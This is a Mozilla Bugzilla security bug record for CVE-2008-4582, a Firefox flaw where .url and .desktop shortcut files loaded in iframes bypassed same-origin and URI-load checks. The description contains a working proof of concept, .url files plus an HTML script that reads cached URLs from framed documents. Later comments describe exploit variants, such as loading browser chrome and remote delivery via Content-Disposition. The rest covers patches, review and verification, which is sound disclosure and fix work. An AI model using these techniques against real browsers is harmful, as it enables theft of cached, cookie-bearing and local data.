Last Comment Bug 455311 - (CVE-2008-4582) [FIX]mid-autumn festival vulnerability
(CVE-2008-4582)
: [FIX]mid-autumn festival vulnerability
Status: RESOLVED FIXED
[sg:moderate]
: fixed1.9.1, pp, verified1.8.1.18, verified1.9.0.4
Product: Core
Classification: Components
Component: Networking: File (show other bugs)
: Trunk
: x86 Windows XP
: P1 normal (vote)
: ---
Assigned To: Boris Zbarsky [:bz]
:
Mentors:
Depends on:
Blocks: 361857 480907
  Show dependency treegraph
 
Reported: 2008-09-15 06:10 PDT by Window Snyder
Modified: 2013-08-27 10:26 PDT (History)
21 users (show)
benjamin: blocking1.9.1+
dveditz: blocking1.9.0.4+
dveditz: blocking1.8.1.18+
dveditz: wanted1.8.1.x+
jruderman: in‑testsuite+
See Also:
Crash Signature:
(edit)
QA Whiteboard:
Iteration: ---
Points: ---
Has Regression Range: ---
Has STR: ---


Attachments
zipped testcase based on code in comment 0 (985 bytes, application/zip)
2008-09-15 06:24 PDT, Martijn Wargers [:mwargers] (gone per 2016-05-31 :-( )
no flags Details
Patch for trunk and 1.9 branch (21.08 KB, patch)
2008-09-23 18:37 PDT, Boris Zbarsky [:bz]
no flags Details | Diff | Review
Er, without the makefile cruft (20.62 KB, patch)
2008-09-23 18:40 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
cbiesinger: superreview+
Details | Diff | Review
Updated to comments (20.51 KB, patch)
2008-09-29 14:03 PDT, Boris Zbarsky [:bz]
dveditz: approval1.9.0.4+
Details | Diff | Review
1.8 branch patch (8.32 KB, patch)
2008-10-13 18:02 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
Details | Diff | Review
a.desktop - save locally (149 bytes, text/plain)
2008-10-13 22:35 PDT, georgi - hopefully not receiving bugspam
no flags Details
a.html - save locally in dir of a.desktop and open (97 bytes, text/html)
2008-10-13 22:36 PDT, georgi - hopefully not receiving bugspam
no flags Details
Trunk + 1.9.0.x patch to handle cancel, plus unit tests (7.85 KB, patch)
2008-10-14 13:03 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
cbiesinger: superreview+
Details | Diff | Review
Roll-up 1.8 branch patch (tested on Linux and all) (8.71 KB, patch)
2008-10-14 13:05 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
cbiesinger: superreview+
Details | Diff | Review
trunk+1.9.0 patch to make isPending() sane (10.74 KB, patch)
2008-10-15 15:34 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
cbiesinger: superreview+
dveditz: approval1.9.0.4+
Details | Diff | Review
Branch patch with Cancel() fixed and isPending sane (13.12 KB, patch)
2008-10-15 15:37 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
cbiesinger: superreview+
dveditz: approval1.8.1.18+
Details | Diff | Review
Additional patch to handle the case when redirection succeeds correctly (982 bytes, patch)
2008-10-22 18:43 PDT, Boris Zbarsky [:bz]
cbiesinger: review+
cbiesinger: superreview+
Details | Diff | Review
Additional patch needed for 1.8 branch (2.91 KB, patch)
2008-10-28 18:18 PDT, Boris Zbarsky [:bz]
dveditz: review+
samuel.sidler+old: approval1.8.1.18+
Details | Diff | Review
1.8.0 branch patch. (9.97 KB, patch)
2008-11-06 07:09 PST, Martin Stránský
no flags Details | Diff | Review
significant diff between 1.8 and 1.8.0 (527 bytes, patch)
2008-11-06 07:13 PST, Martin Stránský
no flags Details | Diff | Review

Description Window Snyder 2008-09-15 06:10:37 PDT
Lui Dieyu in email reports:

For Firefox, location is wrong when dot URL shortcut is launched by HTML elements. Slightly variant from CVE-2008-2810 which is about command line and only fixed in that perspective. Contents at any location can be read by taking advantage of this error - cache information, cookie information, web, local file system, etc.

Here is proof of concept showing all cached images. Web page is required to be opened in local path or Windows share(UNC/SMB) path. Reproduced on Firefox 3.0.1 running on Windows XP SP3, US English.

-----testurl1.url-----
[InternetShortcut]
URL=about:cache?device=memory
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----testurl2.url-----
[InternetShortcut]
URL=about:cache?device=disk
IDList=
[{000214A0-0000-0000-C000-000000000046}]
Prop3=19,2

-----test.html-----
<script>
function a()
{
s="";
h="";
for(i=0;i<window.frames.length;i++)
{
    d=window.frames[i].document;
    for(j=0;j<d.links.length;j++)
    {
        u=d.links[j].text
        s+=u+"\n";
        h+="<img src=\""+u+"\">";
    }
}
document.getElementById("t").value=s;
document.getElementById("x").innerHTML=h;
}
</script>
<a href="javascript:a();">Start Test</a><br>
<a href="javascript:window.location=location.href">Load This Page Again</a><br>
<br>
<br>
<b>List of files that you recently fetched from the internet:</b><br>
<textarea rows="10" cols="100" id=t wrap=off></textarea>
<br>
<br>
<b>List of images that you recently viewed on the internet:</b><br>
<div id=x></div>
<br>
<br>
<iframe width=300 height=200 src="testurl1.url"></iframe>
<iframe width=300 height=200 src="testurl2.url"></iframe>
Comment 1 Martijn Wargers [:mwargers] (gone per 2016-05-31 :-( ) 2008-09-15 06:24:31 PDT
Created attachment 338637 [details]
zipped testcase based on code in comment 0
Comment 2 Jesse Ruderman 2008-09-15 15:03:23 PDT
CCing some people from bug 410156 (CVE-2008-2810).
Comment 3 Robert Strong [:rstrong] (use needinfo to contact me) 2008-09-15 16:55:57 PDT
(In reply to comment #0)
> Lui Dieyu in email reports:
> 
> For Firefox, location is wrong when dot URL shortcut is launched by HTML
> elements. Slightly variant from CVE-2008-2810 which is about command line and
> only fixed in that perspective.
I don't believe this is related to bug 410156 anymore than two url vulnerabilities are related just because they use urls.

Having said that I suspect content might need to prevent opening .url, .desktop, and .webloc files when specified as an iframe src attribute.
Comment 4 Daniel Veditz [:dveditz] 2008-09-22 18:35:23 PDT
Do we need to prevent loading them? Can we treat them as redirects (fully, including calling CheckLoadURI and updating the origin)? If not could we open them as plain-text files and let the user do what they want with the internal link?

This is not a remote exploit, not even a local exploit from an email attachment opened in the browser because it requires two separate files. But worst-case if you got a user to download and unpack a zip file containing the two pieces, or maybe even save a web page "Complete" you could use this to bypass CheckLoadURI() and get access to another site's data or load a chrome: URI. I don't think we currently have any chrome that could take parameters but we've had one in the recent past (bug 441169) and who knows whether any addons do.

I'm assigning "moderate" based on the apparent hoops a user would have to go through, but it could be higher if those turn out not to be much of a speed bump.
Comment 5 Mike Shaver (:shaver -- probably not reading bugmail closely) 2008-09-23 12:07:37 PDT
Yeah, I think we just need to treat them like redirects, as Dan suggests.  Need component triage and an owner, very much wanted today.
Comment 6 Daniel Veditz [:dveditz] 2008-09-23 13:10:19 PDT
note: cookies _are_ sent for web sites and the resulting frames are same-origin with the victim site as demonstrated with the about:cache testcase. Some juicy sites have frame-busting code (gmail, yahoo) so they don't work as victims, but lots will (e.g. bugzilla works fine as a snooping target).

Also can't rule out the possibility of combining this with a file-dropping problem in another app, such as the safari/chrome carpet-bombing problem.

confirmed the problem in 2.x (as expected).
Comment 7 Boris Zbarsky [:bz] 2008-09-23 17:56:44 PDT
The issue is basically that nsFileProtocolHandler::NewChannel returns a channel based on the .url file without doing the normal security checks.  We should either do those there, or better yet return the file channel and then in AsyncOpen handle the redirect.
Comment 8 Boris Zbarsky [:bz] 2008-09-23 18:37:57 PDT
Created attachment 340056 [details] [diff] [review]
Patch for trunk and 1.9 branch

Let's see what biesi thinks of this... the 1.8 patch will need to be pretty much completely different, since we have neither the new event stuff nor nsBaseChannel there, but more or less along these lines.
Comment 9 Boris Zbarsky [:bz] 2008-09-23 18:40:29 PDT
Created attachment 340057 [details] [diff] [review]
Er, without the makefile cruft
Comment 10 Damon Sicore (:damons) 2008-09-23 20:36:50 PDT
Thanks for such an amazing turnaround, Boris!
Comment 11 Christian :Biesinger (don't email me, ping me on IRC) 2008-09-29 02:17:42 PDT
Comment on attachment 340057 [details] [diff] [review]
Er, without the makefile cruft

Very nice! Thanks for doing this.

+nsInputStreamChannel::OpenContentStream(PRBool async, nsIInputStream **result,
+                                        nsIChannel** channel)
 {
   NS_ENSURE_TRUE(mContentStream, NS_ERROR_NOT_INITIALIZED);
+
+  *channel = nsnull;

I think you should just document that the callees don't have to set this to null and do it in the caller instead, to simplify the implementations.
Comment 12 Boris Zbarsky [:bz] 2008-09-29 14:03:36 PDT
Created attachment 340988 [details] [diff] [review]
Updated to comments

We should take this one on branch.  I guess I'll work on a 1.8 fix.

Also, if anyone has an idea of how to write an automated test for this I'm all ears.
Comment 13 Boris Zbarsky [:bz] 2008-09-29 14:04:24 PDT
Pushed changeset 6357eb31cec6.
Comment 14 Daniel Veditz [:dveditz] 2008-09-30 00:09:28 PDT
This was apparently posted on the reporter's blog on 2008-09-27
http://liudieyu0.blog124.fc2.com/blog-entry-6.html
Comment 15 Christian :Biesinger (don't email me, ping me on IRC) 2008-09-30 06:49:08 PDT
(In reply to comment #12)
> Also, if anyone has an idea of how to write an automated test for this I'm all
> ears.

Check in a .url file, create a channel for it, set its notificationCallbacks and make sure that you got the redirect notification? and also check that the channel's URI/originalURI is the one that it got created for?
Comment 16 Boris Zbarsky [:bz] 2008-09-30 09:28:25 PDT
Hmm.  I'd need to somehow only run that on Windows, right?
Comment 17 Christian :Biesinger (don't email me, ping me on IRC) 2008-09-30 09:53:35 PDT
That's true, but you can check that in run_test and just return if (!windows).
Comment 18 Daniel Veditz [:dveditz] 2008-10-01 18:28:16 PDT
Comment on attachment 340988 [details] [diff] [review]
Updated to comments

Approved for 1.9.0.4, a=dveditz
Comment 19 Daniel Veditz [:dveditz] 2008-10-04 09:55:07 PDT
The reporter would like to be credited as "Liu Die Yu of TopsecTianRongXin"
Comment 20 Boris Zbarsky [:bz] 2008-10-07 09:21:40 PDT
Fixed on 1.9.0 branch.
Comment 21 Martijn Wargers [:mwargers] (gone per 2016-05-31 :-( ) 2008-10-13 04:14:39 PDT
From Georgi on irc:
A slight modification of the bugtraq bug affect on linux and it is fixed in latest -central and -latest 1.9.0 .

(btw, can I (or someone else) CC Georgi on this bug?)
Comment 22 Boris Zbarsky [:bz] 2008-10-13 07:45:06 PDT
Sounds like we need a separate bug for the Linux thing if we don't have one already....  And yeah, it's probably ok to cc Georgi.
Comment 23 Boris Zbarsky [:bz] 2008-10-13 18:02:05 PDT
Created attachment 342974 [details] [diff] [review]
1.8 branch patch

Sadly, I can't actually compile branch on Windows.  So while I've compiled this on Mac, it's untested.  I'll make sure to test nightlies after landing this on branch if I can't find someone else to compile+test on Windows beforehand...
Comment 24 georgi - hopefully not receiving bugspam 2008-10-13 22:34:29 PDT
a slight modification of the bugtraq testcase works on linux 3.0.3 so this is not windoze only. according to my tests it is fixed in latest 1.9.0 and -central.

the trick is using file.desktop, containing a link to local file or cache, bypassing same dir restrictions. tested on xubuntu 8.0.4 with xfce4.

testcase soon.
Comment 25 georgi - hopefully not receiving bugspam 2008-10-13 22:35:25 PDT
Created attachment 343006 [details]
a.desktop - save locally
Comment 26 georgi - hopefully not receiving bugspam 2008-10-13 22:36:04 PDT
Created attachment 343007 [details]
a.html - save locally in dir of a.desktop and open
Comment 27 georgi - hopefully not receiving bugspam 2008-10-13 22:38:11 PDT
probably an exploit vector is "save web page complete" using <img src="a.desktop">
Comment 28 Robert Strong [:rstrong] (use needinfo to contact me) 2008-10-13 22:57:35 PDT
It might be a good thing to also protect against .webloc files for Mac as well (see comment #3) though I'm not sure if .webloc files are as of yet handled in the same way as .desktop and .url files.
Comment 29 georgi - hopefully not receiving bugspam 2008-10-13 23:59:54 PDT
.webloc doesn't seem to work on macosx - the testcases display XML and don't load the URI
Comment 30 georgi - hopefully not receiving bugspam 2008-10-14 00:19:10 PDT
let me know if the linux testcases need a new bug - i didn't file one because they are fixed in -latest
Comment 31 Robert Strong [:rstrong] (use needinfo to contact me) 2008-10-14 00:21:01 PDT
Thanks for checking that georgi. I recall seeing a bug for opening .webloc files on Mac but it may just be bug 442930 that I am thinking of.
Comment 32 georgi - hopefully not receiving bugspam 2008-10-14 00:27:44 PDT
>Thanks for checking that georgi. I recall seeing a bug for opening .webloc
>files on Mac but it may just be bug 442930 that I am thinking of.

to clarify - opening .webloc from Finder on macosx works for me. it is the modifications of the exploits that don't work, they display XML when using .webloc in iframe/object
Comment 33 georgi - hopefully not receiving bugspam 2008-10-14 00:38:25 PDT
platform parity => linux + win
Comment 34 georgi - hopefully not receiving bugspam 2008-10-14 01:30:54 PDT
strange things is, a.desktop can open "about:cache" while file:///a.html can't open it - throws sec error. looks like .desktop bypasses some restrictions.

currently don't have luck with screwing "about:config"
Comment 35 georgi - hopefully not receiving bugspam 2008-10-14 01:51:00 PDT
not sure if this is moderate.

a.desktop can load "chrome://browser/content/browser.xul" and this gives full functioning browser as a child of a.html. 

contentDocument.firstChild throws sec exc, though bz was somewhat paranoid about the effectiveness of firstChild throwing in another svg bug...
Comment 36 Christian :Biesinger (don't email me, ping me on IRC) 2008-10-14 04:14:07 PDT
Comment on attachment 342974 [details] [diff] [review]
1.8 branch patch

+nsFileChannel::RedirectRunnable::Handle(PLEvent* aEvent)

shouldn't you check that the channel hasn't been cancelled in the meantime? (here or in HandleRedirect)

+++ netwerk/protocol/file/src/nsFileChannel.h	14 Oct 2008 01:00:12 -0000
+        RedirectRunnable(nsFileChannel* originalChannel,
+                         nsIChannel* newChannel) :

is there a specific reason why you made the ctor and dtor inline, but the rest not?
Comment 37 Boris Zbarsky [:bz] 2008-10-14 04:34:12 PDT
Comment 24 through comment 35 have nothing to do with this bug, since the codepath being changed is in fact windows-only.  I have no idea where .desktop files are handled, but it's not in the file:// networking code.

So yes, a separate bug for that issue is needed.

> shouldn't you check that the channel hasn't been cancelled in the meantime?

Good point.  Will add.

> is there a specific reason why you made the ctor and dtor inline, but the rest
> not?

The static methods you mean?  I'd really rather not inline those.  I can out-of-line the ctor and dtor if you want.  Please let me know?

Also, I assume you want an updated patch with the cancelation-checking?
Comment 38 Christian :Biesinger (don't email me, ping me on IRC) 2008-10-14 04:36:02 PDT
(In reply to comment #37)
> The static methods you mean?  I'd really rather not inline those.  I can
> out-of-line the ctor and dtor if you want.  Please let me know?

Yeah, I prefer out-of-line.

> Also, I assume you want an updated patch with the cancelation-checking?

That'd be great.
Comment 39 Boris Zbarsky [:bz] 2008-10-14 04:40:38 PDT
Er, scratch that.  It looks like at least on trunk the Linux codepath is somewhat similar to the Windows one.  It just doesn't work on Mac.  I'll try to compile/test the 1.8 patch on Linux, then.
Comment 40 georgi - hopefully not receiving bugspam 2008-10-14 05:28:08 PDT
so file a new bug or not?
Comment 41 Boris Zbarsky [:bz] 2008-10-14 06:05:55 PDT
No need for a new bug.
Comment 42 Boris Zbarsky [:bz] 2008-10-14 13:03:41 PDT
Created attachment 343103 [details] [diff] [review]
Trunk + 1.9.0.x patch to handle cancel, plus unit tests
Comment 43 Boris Zbarsky [:bz] 2008-10-14 13:04:26 PDT
Comment on attachment 343103 [details] [diff] [review]
Trunk + 1.9.0.x patch to handle cancel, plus unit tests

I meant "to handle cancel", of course.
Comment 44 Boris Zbarsky [:bz] 2008-10-14 13:05:44 PDT
Created attachment 343104 [details] [diff] [review]
Roll-up 1.8 branch patch (tested on Linux and all)
Comment 45 Christian :Biesinger (don't email me, ping me on IRC) 2008-10-14 15:09:15 PDT
Comment on attachment 343103 [details] [diff] [review]
Trunk + 1.9.0.x patch to handle cancel, plus unit tests

would it make sense in test_bug455311 to test that onStartR/onStopR get called only once? maybe not necessary since that can't happen in the current impl.

+RequestObserver.prototype = {
+ QueryInterface: function(iid)

shouldn't that be indented two spaces?
Comment 46 Christian :Biesinger (don't email me, ping me on IRC) 2008-10-14 15:14:45 PDT
Comment on attachment 343104 [details] [diff] [review]
Roll-up 1.8 branch patch (tested on Linux and all)

looking at branch's nsFileChannel::Cancel, won't this:
+        Cancel(NS_BINDING_REDIRECTED);
cause a warning to be displayed, in debug builds? I guess the NS_ENSURE_SUCCESS in Cancel() should just be an if/return

(hm, and IsPending incorrectly returns false between AsyncOpen and the processing of the event. hopefully nothing relies on that being correct)
Comment 47 Boris Zbarsky [:bz] 2008-10-14 17:03:12 PDT
Er, IsPending needs to work correctly for bfcache to work right.  Gah.  I'll try to fix that tomorrow, as well as the branch Cancel() behavior (same fix, basically).
Comment 48 georgi - hopefully not receiving bugspam 2008-10-15 08:17:06 PDT
does firefox parse .desktop or some external library parses it?
Comment 49 Boris Zbarsky [:bz] 2008-10-15 10:18:07 PDT
We parse it.
Comment 50 Boris Zbarsky [:bz] 2008-10-15 15:34:38 PDT
Created attachment 343307 [details] [diff] [review]
trunk+1.9.0 patch to make isPending() sane

This sets pending to false before onStartRequest on errors, but I think that's ok...
Comment 51 Boris Zbarsky [:bz] 2008-10-15 15:37:31 PDT
Created attachment 343311 [details] [diff] [review]
Branch patch with Cancel() fixed and isPending sane
Comment 52 georgi - hopefully not receiving bugspam 2008-10-16 03:39:09 PDT
didn't have luck making this work remotely from the web - probably this scenario should be investigated
Comment 53 Daniel Veditz [:dveditz] 2008-10-16 16:43:52 PDT
Comment on attachment 342974 [details] [diff] [review]
1.8 branch patch

Looks like attachment 343311 [details] [diff] [review] obsoletes this patch, unlike the trunk patch which is incremental. If I'm wrong please re-request approval.
Comment 54 Boris Zbarsky [:bz] 2008-10-16 17:48:33 PDT
Er, yes.  Indeed.
Comment 55 georgi - hopefully not receiving bugspam 2008-10-17 02:06:22 PDT
with the help of Bug 369462 this is remote with little user interaction ("open with firefox")

the http header is:
Content-Disposition: attachment;filename=v1.desktop

the result is "v1.desktop" in /tmp and "about:plugins" is opened in firefox
Comment 56 georgi - hopefully not receiving bugspam 2008-10-17 03:00:45 PDT
remote content opening privileged uris is Bug 460425
Comment 57 Boris Zbarsky [:bz] 2008-10-17 05:37:28 PDT
*** Bug 460425 has been marked as a duplicate of this bug. ***
Comment 58 georgi - hopefully not receiving bugspam 2008-10-17 05:55:58 PDT
>*** Bug 460425 has been marked as a duplicate of this bug. ***

am i missing something?
the testcases for *this* bug doesn't work in latest -central and 1.9.0 and this bug is marked as fixed.

loading "about:plugins" as described in Bug 460425 works on today's latest builds.
Comment 59 Boris Zbarsky [:bz] 2008-10-17 06:34:57 PDT
Hmm.  I'll reopen bug 460425.  Something odd is happening here, indeed.
Comment 60 Boris Zbarsky [:bz] 2008-10-22 08:43:09 PDT
Pushed changeset 3d9dc5947479 to fix the IsPending/Cancel behavior on trunk.
Comment 61 Boris Zbarsky [:bz] 2008-10-22 10:46:19 PDT
Also pushed changeset a4aa59392b79 to fix Mac test bustage; will want to remember that for 1.9.0 branch.
Comment 62 Daniel Veditz [:dveditz] 2008-10-22 14:55:33 PDT
Comment on attachment 343307 [details] [diff] [review]
trunk+1.9.0 patch to make isPending() sane

Approved for 1.9.0.4, a=dveditz for release-drivers
Comment 63 Daniel Veditz [:dveditz] 2008-10-22 14:55:42 PDT
Comment on attachment 343311 [details] [diff] [review]
Branch patch with Cancel() fixed and isPending sane

Approved for 1.8.1.18, a=dveditz for release-drivers
Comment 64 Boris Zbarsky [:bz] 2008-10-22 18:43:57 PDT
Created attachment 344408 [details] [diff] [review]
Additional patch to handle the case when redirection succeeds correctly

We were crashing on successful redirect otherwise, since mStatus was a failure (NS_BINDING_REDIRECTED) after a successful redirect, and we tried to notify a null mListener.  I've pushed this as changeset 74eac4513663 pending review to keep the crashes at bay.
Comment 65 Boris Zbarsky [:bz] 2008-10-22 18:52:40 PDT
The 1.8 branch patch doesn't need equivalent changes, because we're doing our own canceling there, and we only do it when we don't notify.

Fixed on both branches, with all patches landed.
Comment 66 Al Billings [:abillings] 2008-10-27 16:19:22 PDT
Verified for 1.9.04 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.4pre) Gecko/2008102706 GranParadiso/3.0.4pre.

I looked to verify this for 1.8.1.18 but I notice that the iframes displaying Memory and Disk cache both still render the contents. This is not the case for 1.9.0.4. Is this expected?
Comment 67 Boris Zbarsky [:bz] 2008-10-28 18:18:46 PDT
Created attachment 345220 [details] [diff] [review]
Additional patch needed for 1.8 branch

Needed because secman doesn't actually observe redirects there...
Comment 68 Daniel Veditz [:dveditz] 2008-10-28 18:28:56 PDT
(In reply to comment #66)
> I looked to verify this for 1.8.1.18 but I notice that the iframes displaying
> Memory and Disk cache both still render the contents.

But the test page can no longer read from those frames, so the worst aspect of this has been fixed. The remaining bit is a CheckLoadURI violation,  allowing web content to load about: or chrome: links we wouldn't normally allow -- IF the victim downloads a .url file. If we already had candidate builds I don't know I'd respin for it, but since we don't it's worth getting this fix in for it.
Comment 69 Daniel Veditz [:dveditz] 2008-10-28 22:13:38 PDT
Comment on attachment 345220 [details] [diff] [review]
Additional patch needed for 1.8 branch

r=dveditz

tested, this works.
Comment 70 Samuel Sidler (old account; do not CC) 2008-10-28 22:15:38 PDT
Comment on attachment 345220 [details] [diff] [review]
Additional patch needed for 1.8 branch

Approved for 1.8.1.18. a=ss for release-drivers.
Comment 71 Boris Zbarsky [:bz] 2008-10-28 22:23:04 PDT
Checked that patch in on the branch.
Comment 72 Daniel Veditz [:dveditz] 2008-10-28 22:44:46 PDT
So comment 66 and the additional 1.8 patch raises an interesting point that there are really two bugs here, and the fix for one masks the other in the original testcase. The original testcase uses about: urls that a web page (or file: uri) normally cannot open, and part of this fix makes sure we call CheckLoadURI and block those loads.

But because those loads are blocked it's no longer a test of the more important fix of making sure the attack page is not same-origin with the redirected content.

I recommend altering the testcase in the following way:

1) Change the second .url file to point at some website, such as http://www.mozilla.com, instead of about:cache.

2) The for loop doesn't need to enumerate links to prove badness, we just need to test for access. Therefore it could be something like
   for(i=0;i<window.frames.length;i++)
   {
     try {
       alert(frames[i].document.location);
     } catch (e) {
       alert(e);
     }
   }

Pre-fix I would expect both alerts to show file: uris. In the current 1.8 state both should be security errors. With the correct fix the first alert should be "about:blank" (nothing got loaded due to the CheckLoadURI) and the second should alert the security error.

On 1.8 the error will be "Permission denied to get property HTMLDocument.location" while on 1.9 it will be "Permission denied to get property Window.document". This difference is due to the Cross-origin Wrappers (XOW) added in 1.9 and is expected.
Comment 73 georgi - hopefully not receiving bugspam 2008-10-29 00:16:22 PDT
>I recommend altering the testcase in the following way:

imo the testcase should not need chrome privileges and should just try to steal a file instead of testing the correctness of the patch. linux or windows probably can be distinguieshed via |navigator.platform|
Comment 74 georgi - hopefully not receiving bugspam 2008-10-29 03:35:56 PDT
>allowing web content to load about: or chrome: links we wouldn't normally allow 

potential exploit scenario is if chrome document trusts input from location.href or document.url. could find exploit in the standard codebase, trying to find addons.

this looks somewhat suspicious:
venkman/resources/content/view-manager.js:210:    var win = openDialog ("chrome://venkman/content/venkman-floater.xul?id=" +
venkman/resources/content/view-manager.js-211-                          encodeURIComponent(windowId), "_blank",
Comment 75 georgi - hopefully not receiving bugspam 2008-10-29 03:36:50 PDT
oops, missing inversion.

i meant could NOT find exploit in standard codebase.
Comment 76 Al Billings [:abillings] 2008-10-29 16:29:08 PDT
Reverified for 1.8.1.18 with Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.18pre) Gecko/2008102903 BonEcho/2.0.0.18pre.
Comment 77 Daniel Veditz [:dveditz] 2008-11-05 23:38:43 PST
CC'ing original reporter
Comment 78 Alexander Sack 2008-11-06 04:44:11 PST
linux seems not to be affected on 1.8 branches.
Comment 79 Martin Stránský 2008-11-06 07:09:05 PST
Created attachment 346660 [details] [diff] [review]
1.8.0 branch patch.

patch for 1.8.0 branch, for the case anybody need it.
Comment 80 Martin Stránský 2008-11-06 07:13:31 PST
Created attachment 346661 [details] [diff] [review]
significant diff between 1.8 and 1.8.0

There's only one change between 1.8 and 1.8.0 - 1.8.0 doesn't have OnChannelRedirect implemented in nsIOService so this check is removed.
Comment 81 Boris Zbarsky [:bz] 2008-11-06 07:30:31 PST
Yeah, on 1.8 branch we didn't support .desktop files at all, as I recall.
Comment 82 Jesse Ruderman 2008-11-29 17:57:36 PST
Marking in-testsuite+ because the patch contained a test:

http://mxr.mozilla.org/mozilla-central/source/netwerk/test/unit/test_bug455311.js
Comment 83 Mihnea Dobrescu-Balaur (:mihneadb) 2013-07-12 15:41:45 PDT
Hello,

This test fails on my machine with no patches applied, just vanilla m-c.

This is the log: http://pastebin.mozilla.org/2624886


I'm on linux x64 3.10.
Comment 84 Matt Wobensmith [:mwobensmith][:matt:] 2013-08-26 14:54:55 PDT
Mihnea, I tried the bug files on today's m-c using Linux and Mac - no issues.

Your pastebin link is empty (expired?).

I don't see an issue here, but if you do, please post more info. Thanks.
Comment 85 Mihnea Dobrescu-Balaur (:mihneadb) 2013-08-26 14:56:27 PDT
(In reply to Matt Wobensmith from comment #84)
> Mihnea, I tried the bug files on today's m-c using Linux and Mac - no issues.
> 
> Your pastebin link is empty (expired?).
> 
> I don't see an issue here, but if you do, please post more info. Thanks.

Must be something about my linux setup. I'll rerun it when I get back to the linux box and post a new pastebin. Thanks!
Comment 86 Mihnea Dobrescu-Balaur (:mihneadb) 2013-08-27 10:07:42 PDT
There you go - http://pastebin.mozilla.org/2924937
Comment 87 Matt Wobensmith [:mwobensmith][:matt:] 2013-08-27 10:13:43 PDT
Thanks Mihnea. What happens when you run the bug files attached to this bug? I'd like to find out if the vulnerability is still there, or if the test is unreliable.
Comment 88 Mihnea Dobrescu-Balaur (:mihneadb) 2013-08-27 10:26:34 PDT
There seems to be no sign of the vulnerability. Test passes fine on my other (OS X) laptop. Must be something with my linux laptop's config.

Note You need to log in before you can comment on or make changes to this bug.